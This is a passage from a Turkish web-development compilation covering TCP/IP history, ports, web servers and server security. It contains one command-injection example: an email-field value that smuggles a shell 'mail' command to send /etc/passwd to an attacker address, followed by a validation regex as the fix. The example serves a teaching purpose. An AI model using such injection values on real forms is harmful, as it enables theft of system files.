tarafından düĢünülmüĢ bir sistemdir. Paul Baran‘dan
talep edilen Ģey Ģuydu. ―A,B,C Ģehirlerinde
bilgisayarlarımız var, A,B,C birbirleriyle konuĢabilsin,
bilgi gönderebilsin, ama A devre dıĢı kalsa bile B ve C
konuĢmaya devam edebilsin, bu diğerleride içinde geçerli
olsun‖. Paul Baran bu iĢ için paket anahtarlamalı ağ
iletiĢimi tekniğini düĢündü. Çünkü istenen Ģey verinin
iletilmesiydi. Her koşul ve şart altında bile verinin
iletilmesi birinci öncelikti. (İlk öncelik güvenlik
olmadığı içinde bu gün güvenlik anlamında bir sürü
ekstra yatırıma vs gerek duyulmakta). Veriler
paketlere bölünecek ve hedef yerde bu paketler
birleĢince verinin kendisi oluĢmuĢ olacaktı.
Paul Baran daha sonra A,B,C lokasyonlarının
nükleer füze merkezleri olduğunu öğrendiğinde
aslında geliştirdiği şeyin ne olduğunu anlamıştı
anlamasına da bilmeden de olsa internetin ilk
öncüsü de olmuştu. Kısaca TCP / IP protokolü de
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
30
Ģüphesiz ilk olarak askeri amaçlı geliĢtirilen bir
protokoldü ve temel amacı ―bir nükleer savaĢ anında
tüm telefon Ģebekesi yok olsa bile biz iletiĢimi devam
edip karĢı tarafa nükleer saldırı ile cevap verebilelim.―
1983 yılında TCP / IP ye temel hali verildi. TCP / IP
protokolü Unix iĢletim sistemine eklenmiĢ ve 1984
yılında DNS kavramı oluĢturulmuĢtur. Günümüzde
internet hayatın içine öyle girmiĢtir ki, TCP / IP sadece
internetin değil tüm ağ protokollerinin arasından en çok
kullanılan durumuna yükselmiĢtir.
PORT
TCP / IP de her bilgi bilgisayarlar arasında portlar
üzerinden iletilir. Ġletim için geçilen yol aynı olsada
bilgilerin doğru adrese gitmesi için portların kullanımı
Ģarttır. Bir gazete datıcısını düĢünün. Dağıtım kanalı hep
aynıdır. Sokaklar. Ancak gazetelere doğru yerlere
ulaĢtırmasının tek yolu adreslerdir. Yani kapı numaraları.
HTTP iĢlemleri için 80 nolu port kullanılır. Mail alıp
gönderme için 25 ve 110 nolu portlar kullanılır. MSN,
ICQ, IRC, FTP vs vsvs tüm yazılımların ayrı bir port
kullanımı vardır.
TCP /IP veriyi iletirken baĢına port‘u da kaydettiğinden, o
paketin hangi yazılım için olduğu bilgisi de otomatikman
iletilmiĢ sayılabilir. Böylece bilgisayarda aynı anda bir çok
yazılım ile internet kullanılabilmektedir.
Web Server
Internette tanımlı bir alan adına karĢılık gelen bir numara
(IP numarası) vardır demiĢtik. Bu IP nolu bilgisayar sayfa
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
31
gelen kiĢilere istedikleri bilgileri gönderebilmek için hep
açık olmak zorundadır. Ayrıca bu bilgisayarda gelen
talepleri toplayıp onlara cevap verecek bir de program
yüklü olmalıdır.
Web server aslında hem bu iĢlere yarayan programlara
hemde bu programların kurulduğu bilgisayarlara verilen
bir isimdir. Kafa karıĢtırıcı olabilir ama ama iki tanımda
doğrudur. En çok bilinen Web Server programları
Apache, MS Internet Information Server (IIS),
Xitami gibi yaygın sunuculardır.
Bu programların, bilgi alıp-vermenin yanı sıra, elektronik
posta alıp verme ve yönlendirme, veritabanlarına eriĢme
ve içinden seçme yapma (Query, SQL, vb. gibi), kendi
sabit diskinde duran bir dosyayı alıp karĢı tarafa aktarma
(FTP, Gopher, WAIS) veya karĢı tarafın vereceği dosyayı
alıp kendi sabit diskine kaydetme yeteneği olur.
Ġlk Web Server programı, yukarıda, HTML dilinin
geliĢtirilmesindeki öncü konumu nedeniyle sözünü
ettiğimiz, Ġsviçre‘deki CERN kurumu tarafından
geliĢtirildi; ama kısa zamanda UNIX platformunda,
anonim bir tarzda ve ücret ödemeden kullanılabilen bir
Ģekil aldı. KiĢisel bilgisayarların UNIX gerektiren
bilgisayarlara oranla daha ucuz olması, Microsoft‘un NT,
IBM‘in OS/2 iĢletme sistemlerinin UNIX‘e ciddî rakip
haline gelmiĢ bulunmaları nedeniyle, bu sistemlere dayalı
Web Server programları da hızla artmaktadır.
Apache Web Server ise bir çok iĢletim sisteminde
çalıĢabilmesi ve ücretsiz olması nedeniyle Linux ile
birlikte iyi bir ikili olmuĢ ve Internette en çok kullanılan
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
32
Web Server olma özelliğini açık ara ile elinde
tutmaktadır.
Apache
Açık kaynak kodludur
Bir çok iĢletim sisteminde çalıĢabilir (hatta bir çok
sistemde zaten kurulu halde gelir)
Tamamen ücretsizdir
IIS
Kaynak kodu kapalıdır.
Windows iĢletim sisteminde çalıĢır.
Ücretsiz değildir.
Linux ve FreeBSD adlı, ücretsiz dağıtılan UNIX iĢletme
sistemleri de, ticarî olanları aratmayacak niteliklere
sahiptir. Ayrıca bu tür ücretsiz programlar, Apache Web
Server‘ın ücretsiz sürümünü de içerdiklerinden sıfır
maliyet ve kurulum ile web server edinmek mümkündür.
Bir Web Server yazılım paketi seçerken dikkat edilmesi
gereken bir kaç ilkeyi sıralayalım:
1. Yazılım paketi yeterli güvenliği sağlayacak özelliklere
sahip olmalıdır. Binalarda bir odadaki yangının yandaki
odaya sıçramasını önleyen ateĢe dayanıklı duvarlardan
(Firewall) esinlenerek adlandırılan bir dizi program,
Web Server yazılımının bulunduğu bilgisayarın, kötü
niyetli kiĢiler tarafından bozulmasına engel olmaktadır.
Ancak Web Server‘ın kendi içinde mevcut güvenlik
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
33
önlemlerinin neler olduğunu dikkatle araĢtırmanız
gerekir. Bunuda tarafsız bir gözle yapmak gerekir
örneğin çoğu kiĢi için Unix çok güvenli, Windows ise
berbattır yada bunun tersi düĢünülebilir. Oysa bu bir
takım tutma olayı değild,r ve önyargılı olmak yanlıĢtır.
Asıl güvensiz olan sistem değil sistemin baĢında oturan
sistem yöneticisidir.
Yönetici ne kadar dikkat ederse sistemde o kadar
güvende demektir. Burada önemli olan, Internet‘e
açılmanın, iyi niyetli-kötü niyetli herkese açılmak
olduğunu unutmamaktır. Özellikle form denilen,
HTML‘in ziyaretçi bilgisayarın evsahibi bilgisayara
talepten baĢka Ģeyler göndermesine imkan veren
etiketlerini ve ona bağlı CGI (Common Gateway
Interface-Ortak Geçit Arabirimi) adı verilen ziyaretçinin
ev sahibi bilgisayardaki programları harekete
geçirebildiği buluĢma noktasında yer alacak
programları tasarlarken, daima kötüniyetli kiĢileri
dikkate alarak hareket etmek gerekir. Internet‘te
güvenliğin ne kadar kolay sarsılabildiğine ve ne kadar
kolay önlem alınabileceğini bir örnek verelim.
Sayfanızda, ziyaretçinin doldurması gereken ―Elektronik
Posta Adresiniz:‖ diye bir metin kutusu bulunduğunu
düĢünün. Bu kutuya bütün ziyaretçilerin elektronik posta
adreslerini yazacaklarını düĢünüyor ve bu bilgiyi
iĢleyecek CGI programında, ziyaretçinin bu kutuya
yazacağı bilgiyi, alıp doğruca Web Server‘ın ―Mail‖
programına veriyorsunuz.
Peki, ya kullanıcı adres yerine;
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
34
“benhacker@hacklendin.com; mail
hacker1@hacker.com</etc/passwd”
yazarsa? Bu yaptığınız basit ama ölümcül hata sonucu,
forma girilen bu adrese, bilgisayar sisteminizdeki bütün
password-parola dosyaları email ile gönderilecektir.
Oysa, programı yazan kiĢi, elektronik posta adresini Mail
programına gönderirken ―unless ($mail_to = ~/^[\w-
.]+\@[\w-.]+$)‖ Ģeklinde bir satırla, girilen bilgideki
karakterleri kontrol etse sorun halledilebilecektir.
2. Özel Bilgilerin Korunması ve Doğrulatma: Web
hizmeti sunan kiĢi, sadece baĢkalarının kendi
bilgisayar sisteminde arzu edilmeyen Ģeyler
yapmalarını önlemekten değil, aynı zamanda
kendisine emanet edilen baĢkalarına ait bilgileri de
saklamak ve baĢkalarından korumak zorundadır. Bu
bilgiler, ziyaretçinin adı, elektronik adresi, hatta kredi
kartı numarası olabilir. Bunlar, sizin Internet‘te
çizdiğiniz portreye güvenilerek size verilmiĢ mahrem
bilgilerdir.
Ziyaretçi bu bilgileri size, kötüye kullanılmayacağı
güvencesiyle vermektedir. Aynı bağlamda, Web
hizmeti sunan kiĢi olarak, sizin de bu bilgilerin
kolayca ve baĢkalarına açık hale getirilmeden
doğrulatılmasına ihtiyacınız olacaktır. Web Server
programınız, örneğin kredi kartı numarasını, yeni
programlar edinmeye ihtiyaç kalmadan
doğrulatabilmelidir.
3. Web Server, siteye yapılan ziyareterin kaydını uygun
Ģekle kayıt altına almalıdır? Örneğin sayfanıza kaç kiĢi
uğramıĢ, sitenizin en çok hangi sayfası
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
35
görüntülenmiĢ, en çok hangi dosya indirilmiĢ, han
gisteden sizin sitenize en çok ziyaretçi gelmiĢ
bunların bilinmesi önemlidir.
Özellikle elektronik ticarete dayalı veya mesajını daha
çok sayıda kiĢiye iletmek amacıyla hazırlanan Web
alanlarını iĢletenlerin, sayfalarının varlığını duyurmak
için, mümkün olan her yoldan yararlanmaları gerekir.
Çok önemsiz gibi görünebilir ama Google içerik ile
reklamı birleĢtirmeyi akıl eden reklam yapısı Ģu anda
alanında dünyanın en büyüğü olmayı baĢarmıĢ bir
Ģirket. Örneği sitenize gelen ziyaretçi eğer mobilya
hakkında bilgi arıyor ise belkide mobilya almaya
niyeti vardır bu durumda ona mobilya reklamı
gösterilmelidir… ĠĢte bu formül Google Ģirketini bir
numara yapmıĢtır.
4. Web Server programıyla ilgili teknik destek ve sorun
çözme hizmeti alıp almamak, programın seçiminde
belki de en önemli unsur sayılabilir.
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 -ALINTIDIR.
Kaydol:
Kayıtlar (Atom)